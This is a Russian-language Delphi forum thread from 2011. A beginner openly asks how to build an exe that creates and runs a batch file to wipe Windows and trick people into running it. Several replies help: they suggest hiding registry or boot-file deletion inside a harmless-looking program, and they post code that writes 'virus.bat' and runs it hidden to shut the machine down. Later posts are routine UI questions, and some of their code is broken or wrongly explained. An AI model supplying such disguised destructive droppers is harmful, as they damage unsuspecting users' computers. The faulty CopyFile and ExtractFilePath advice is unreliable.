PDA

Просмотр полной версии : [Подсказка] Вопрос


TruePoc
04.08.2011, 22:49
Как сделать чтоб при нажатии на Button создавался и запускался .bat файл?

SeeZZer
04.08.2011, 23:33
Чтоб тебе могли помочь , ты сначала объясни - зачем тебе создавать и запускать .bat файл ? Если для сохранения в нем текста или чего-то иного - так и скажи ..

gum_classis
04.08.2011, 23:34
Обрисуй ситуацию полностью,я помогу

TruePoc
04.08.2011, 23:50
Ну через .bat можно снести винду, а кто клюнет на bat файл?
Вот мне и надо сделать exe которая создаёт батник и запускает его...

Что-то типо такого.

Dinmaite
05.08.2011, 00:07
А снести винду мимо бата, прямо из программы ниале?)

Вообще тебе подойдет winexec,

Dimedrol1536
05.08.2011, 00:10
TruePoc, можно снести и через эксюшник.
Смотря как хочеш её снести:
-удалить ветки реестра;
-удалить файлы для запуска винды.
Это всё можно запилить в полне безопасную програмку, типо какогото информера.

TruePoc
05.08.2011, 00:12
Ладно, а как при нажатии на Button создавался файл, какой будет код?

SeeZZer
05.08.2011, 00:18
procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.Lines.SaveToFile('virus.bat');
Memo1.Lines.LoadFromFile('virus.bat');
WinExec(PChar('virus.bat '),SW_SHOW);
MessageBox(Application.Handle,'good', 'info', MB_OK +MB_ICONINFORMATION);

end;

end.

Вот код который тебя интересует . В Memo1 запишешь то что надо записать в батнике и все - работает !

VeTaL_UA
05.08.2011, 00:20
Здесь и создание и запуск:
var
s:TStringList;
begin
s.Create;
s.Add('string');
s.SaveToFile(1.bat);
WinExec(1.bat);

SeeZZer
05.08.2011, 00:20
Dinmaite, я новенький в Делфи , и мне интересно твое мнение - как мой код ?
З.Ы. на положительный отзыв надеюсь и уповаю ))

TruePoc
05.08.2011, 00:21
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Красным отображает при запуске.

SeeZZer
05.08.2011, 00:23
ты кнопку кинь на форму - Button с панели Standart . И Memo с той же панели тоже кинь

TruePoc
05.08.2011, 00:25
SeeZZer, Кинул как бэ, а и код добавил в Button, или в другое место надо?

SeeZZer
05.08.2011, 00:26
В Button - пошло ?

TruePoc
05.08.2011, 00:29
SeeZZer, А всё разобрался, я добавлял код в Button, а надо было заменить. Спасибо

VeTaL_UA, а как именно работает ваш метод?

Добавлено через 1 час 42 минуты
При нажатии на CheckBox у меня стоит вот это:
AlphaBlend:=true;
AlphaBlendValue:=100;
Как мне сделать при отжатии вот это:
AlphaBlend:=false;
AlphaBlendValue:=255;

Dinmaite[Work]
05.08.2011, 10:34
Dinmaite, я новенький в Делфи , и мне интересно твое мнение - как мой код ?
З.Ы. на положительный отзыв надеюсь и уповаю ))

Честно? Мне не нравится. Потому что ты используешь memo в том месте, где оно не нужно. И потому что ты спрашиваешь о качестве кода, содержащего всего пару строк.
Как по мне, лучше было бы что-то вроде этого.

procedure TForm1.Button1Click(Sender: TObject);
var
F:TextFile;
begin
{$i-}
Assignfile(F,'virus.bat');
ReWrite(F);
writeln(F,'@Echo off'+#10+#13+'Shutdown -s -t 60');
CloseFile(F);
WinExec('virus.bat',SW_HIDE);
{$i+}
end;


И опять же, я считаю что bat-вирус, при возможности написать вирус программный это нонсенс.

VeTaL_UA
05.08.2011, 12:39
VeTaL_UA, а как именно работает ваш метод?
1)В СтрингЛист добавляется текст(исполняемый код батника);
2)Текст сохраняется в батник;
3)Батник запускается;
4)Profit?

MasterJedi
05.08.2011, 14:59
Добавлено через 1 час 42 минуты
При нажатии на CheckBox у меня стоит вот это:
AlphaBlend:=true;
AlphaBlendValue:=100;
Как мне сделать при отжатии вот это:
AlphaBlend:=false;
AlphaBlendValue:=255;


if checkbox1.Checked then begin
... blah-blah-blah ...
end
else
begin
... blah-blah-blah ...
end;

VeTaL_UA
05.08.2011, 15:41
При нажатии на CheckBox у меня стоит вот это:
AlphaBlend:=true;
AlphaBlendValue:=100;
Как мне сделать при отжатии вот это:
AlphaBlend:=false;
AlphaBlendValue:=255;
Можно просто поставить в свойствах формы AlphaBlendValue - 100 и потом включать/выключать AlphaBlend.
procedure TForm1.Button1Click(Sender: TObject);
begin
if CheckBox1.Checked=False then
Form1.AlphaBlend:=False
else
Form1.AlphaBlend:=True;
end;

Dinmaite[Work], :) реально круто => :agreed:

Dinmaite[Work]
05.08.2011, 16:20
Можно просто поставить в свойствах формы AlphaBlendValue - 100 и потом включать/выключать AlphaBlend.
procedure TForm1.Button1Click(Sender: TObject);
begin
if CheckBox1.Checked=False then
Form1.AlphaBlend:=False
else
Form1.AlphaBlend:=True;
end;

Зачем такие сложности?)

Form1.AlphaBlend := CheckBox1.Checked
;)

TruePoc
05.08.2011, 17:27
Не буду создавать лишних тем, а буду спрашивать тут всё, что мне надо.
Как при нажатии на Button открывалось окно выбора файла в компьютере?
И запись место нахождения его в Edit1
НАПРИМЕР:
Я нажимаю Button1 выбираю файл с компьютера и его путь указывается в Edit1.

VeTaL_UA
05.08.2011, 17:51
Я нажимаю Button1 выбираю файл с компьютера и его путь указывается в Edit1
Кидаешь на форму компонент OpenDialog, который находится на вкладке Dialogs, и:
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Execute;
Edit1.Text:=ExtractFilePath(OpenDialog1.FileName);
end;

TruePoc
05.08.2011, 20:59
Дак вот, имеются два пути(2 файла). Надо чтобы 1 файл изменял имя и перемещался на указанный 2 путь и заменял другой файл. Как это можно сделать?

VeTaL_UA
05.08.2011, 21:21
В Edit2 вводишь путь к файлу, который надо заменить:
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Execute;
Edit1.Text:=ExtractFilePath(OpenDialog1.FileName);
DeleteFile(Edit2.Text);
CopyFile(Edit1.Text,Edit2.Text,True);
end;
Можешь добавить ещё один OpenDialog для определения пути к заменяемому файлу, или же выбрать заменяемый файл с этого же OpenDialog'а...

TruePoc
05.08.2011, 21:48
VeTaL_UA, На CopyFile Выдало красным, где я допустил ошибочку?

VeTaL_UA
05.08.2011, 22:52
CopyFile(Edit1.Text,Edit2.Text,True);
Текст ошибки в студию!
DeleteFile(Edit2.Text);
И эту строку можешь удалить... Она не нужна, потому что здесь:
CopyFile(Edit1.Text,Edit2.Text,True);
Стоит True, а тоесть перезапись файла, если такой существует...